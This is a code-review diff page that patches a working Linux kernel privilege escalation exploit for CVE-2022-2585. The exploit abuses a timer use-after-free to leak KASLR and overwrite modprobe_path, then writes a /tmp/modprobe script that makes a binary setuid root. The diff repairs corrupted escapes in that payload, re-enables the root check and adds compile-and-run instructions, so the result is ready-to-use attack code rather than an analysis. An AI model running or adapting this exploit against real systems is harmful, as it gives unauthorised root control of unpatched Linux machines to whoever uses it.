Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 11 additions & 0 deletions 2022/CVE-2022-2585/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,3 +6,14 @@ Vulnerability reference:
* [CVE-2022-2585](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2585)

The exp is from [@SSD Secure Disclosure technical team](https://ssd-disclosure.com/ssd-advisory-linux-clock_thread_cputime_id-lpe/)

The version shared by SSD Secure Disclosure was corrupted (backslashes stripped, turning newlines into "n", and the leading # removed from two files, breaking `# include` statements). This modified version is corrected, and handles failure to create the timer in a slightly more useful way to aid troubleshooting.

You'll need to install the `keyutils` library/headers before compiling the exploit.

```
$ gcc -o exploit libexp.c exploit.c -I. -lkeyutils

$ ./exploit
```

86 changes: 67 additions & 19 deletions 2022/CVE-2022-2585/exploit.c
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@
// https://ssd-disclosure.com/ssd-advisory-linux-clock_thread_cputime_id-lpe/
#define _GNU_SOURCE

#include <endian.h>
Expand Down Expand Up @@ -57,6 +56,11 @@ struct config configs[] = {
.release = "5.15.0-40-generic",
.init_ipc_ns = 0xffffffff83082580,
.modprobe_path = 0xffffffff82e8b620
},
{
.release = "5.14.0-BishopFox-FPV",
.init_ipc_ns = 0xffffffff8329ece0,
.modprobe_path = 0xffffffff8323eac0
}
};

Expand Down Expand Up @@ -86,8 +90,52 @@ u64 modprobe_path = 0;
void *trigger_free(void *env_str)
{
timer_t timerid;
int ret = timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &timerid);
assert(ret == 0);
/*int ret = timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &timerid);
assert(ret == 0);*/

int ret = 1;
int attempt_count = 1;
while (ret != 0)
{
printf("Attempt #%i to create timer\n", attempt_count);
ret = timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &timerid);
if (ret !=0)
{
int found_error_type = 0;
printf("timer_create failed - returned %i, errno is %i: ", ret, errno);
if (errno == EAGAIN)
{
found_error_type = 1;
printf("EAGAIN - Temporary error during kernel allocation of timer structures.\n");
}
if (errno == EINVAL)
{
found_error_type = 1;
printf("EINVAL - Clock ID, sigev_notify, sigev_signo, or sigev_notify_thread_id is invalid.\n");
}
if (errno == ENOMEM)
{
found_error_type = 1;
printf("ENOMEM - Could not allocate memory.\n");
}
if (errno == ENOTSUP)
{
found_error_type = 1;
printf("ENOTSUP - The kernel does not support creating a timer against this clockid.\n");
}
if (errno == EPERM)
{
found_error_type = 1;
printf("EPERM - clockid was CLOCK_REALTIME_ALARM or CLOCK_BOOTTIME_ALARM but the caller did not have the CAP_WAKE_ALARM capability.\n");
}
if (found_error_type == 0)
{
printf("unknown error\n");
}

}
attempt_count++;
}

*stage = 1;
while(*stage != 2);
Expand Down Expand Up @@ -135,7 +183,7 @@ void leak_func()

//puts("Done");
//int c = getchar();
//printf("c : %#xn", c);
//printf("c : %#x\n", c);
//defragment(0x100, 0x1000);

usleep(100*1000);
Expand Down Expand Up @@ -203,7 +251,7 @@ int search_msgqid()
char buffer[0x2000];
int target_msgqid = -1;

// printf("check %d msgsn", maxind);
// printf("check %d msgs\n", maxind);

for(int i=0; i<maxind; i++) {
int ret;
Expand Down Expand Up @@ -378,7 +426,7 @@ void context_setup()
char *id_str = getenv("CPUID");
if(id_str) CPUID = atoi(id_str);
else CPUID = cpu_num - 2;
int ret = sprintf(cpuid_env, "CPUID=%lld", CPUID);
int ret = sprintf(cpuid_env, "CPUID=%lld\n", CPUID);
assert(ret > 0);

// handle page_size
Expand Down Expand Up @@ -410,7 +458,7 @@ void check_root()
memset(buf, 0, sizeof(buf));
read(tmp_fd, buf, sizeof(buf));
if(!strncmp(buf, "//tmp/modprobe", 14)) {
sprintf(buf, "echo '#!/bin/basnchown root:root %s; chmod 04755 %s' > /tmp/modprobe; chmod +x /tmp/modprobe", path, path);
sprintf(buf, "echo '#!/bin/bashnchown root:root %s; chmod 04755 %s' > /tmp/modprobe; chmod +x /tmp/modprobe", path, path);
system(buf);
system("echo 1 > /tmp/1; chmod +x /tmp/1; /tmp/1 2> /dev/null");
char *argv[] = {path, NULL};
Expand Down Expand Up @@ -459,7 +507,7 @@ int main(int argc, char **argv)
}

// in case we already are/can be root
//check_root();
check_root();

// first thing first, before we get into a namespace
// we launch a process that wait for root
Expand All @@ -470,9 +518,9 @@ int main(int argc, char **argv)

struct utsname uname_buf;
assert(uname(&uname_buf) == 0);
printf("CPUID: %lldn", CPUID);
printf("page_size: %#llxn", page_size);
printf("release: %sn", uname_buf.release);
printf("CPUID: %lld\n", CPUID);
printf("page_size: %#llx\n", page_size);
printf("release: %s\n", uname_buf.release);

setup_offsets((char *)&uname_buf.release);

Expand All @@ -487,8 +535,8 @@ int main(int argc, char **argv)
usleep(100000);
kbuf_addr = leak_kbuf_addr();
}
printf("[+] kbuf_addr: %#llxn", kbuf_addr);
printf("[+] ubuf_addr: %#llxn", ubuf_addr);
printf("[+] kbuf_addr: %#llx\n", kbuf_addr);
printf("[+] ubuf_addr: %#llx\n", ubuf_addr);
assert(kbuf_addr != 0);
assert(ubuf_addr != 0);
*(u64 *)ubuf_addr = 0x4141414141414141;
Expand All @@ -503,7 +551,7 @@ int main(int argc, char **argv)
usleep(100000);
msg_addr = leak_msg_addr();
}
printf("[+] msg_msg addr: %#llxn", msg_addr);
printf("[+] msg_msg addr: %#llx\n", msg_addr);
assert(msg_addr != 0);

// reset shm_stage for orchestration
Expand Down Expand Up @@ -546,7 +594,7 @@ int main(int argc, char **argv)
int idx = 0;
while(idx < page_size*PAGE_SPRAY_NUM/0x100) {
u64 *obj_ptr = (u64 *)(addr2 + idx*0x100);
// if(idx % 0x10==0)printf("a: %pn", obj_ptr);
// if(idx % 0x10==0)printf("a: %p\n", obj_ptr);
if(obj_ptr[23] == 1) {// tmr.firing == 1
timer_ptr = obj_ptr;
break;
Expand All @@ -569,13 +617,13 @@ int main(int argc, char **argv)

// now we are back to CPU0! so we spray in the per-CPU cache!
set_cpu(CPUID);
printf("[+] timer_ptr: %pn", timer_ptr);
printf("[+] timer_ptr: %p\n", timer_ptr);

// at this moment, we have a msg_msg with an enlarged m_ts, let's find it!
puts("[*] Looking for the victim msg_msg...");
int msgqid = search_msgqid();
assert(msgqid >= 0);
printf("[+] Found it! msgqid: %dn", msgqid);
printf("[+] Found it! msgqid: %d\n", msgqid);

// alright, let's spray tons of shmid to leak kaslr
int shmids[SHM_SPRAY_NUM];
Expand All @@ -594,8 +642,8 @@ int main(int argc, char **argv)
break;
}
}
printf("[+] kernel_base: %#llxn", kernel_base);
printf("[+] kaslr_slide: %#llxn", kaslr_slide);
printf("[+] kernel_base: %#llx\n", kernel_base);
printf("[+] kaslr_slide: %#llx\n", kaslr_slide);
if(kernel_base == 0) {
hex_print(buffer, sizeof(buffer));
timer_ptr[18] = 0xffffffffffff;// disarm timer to avoid crash
Expand Down
Loading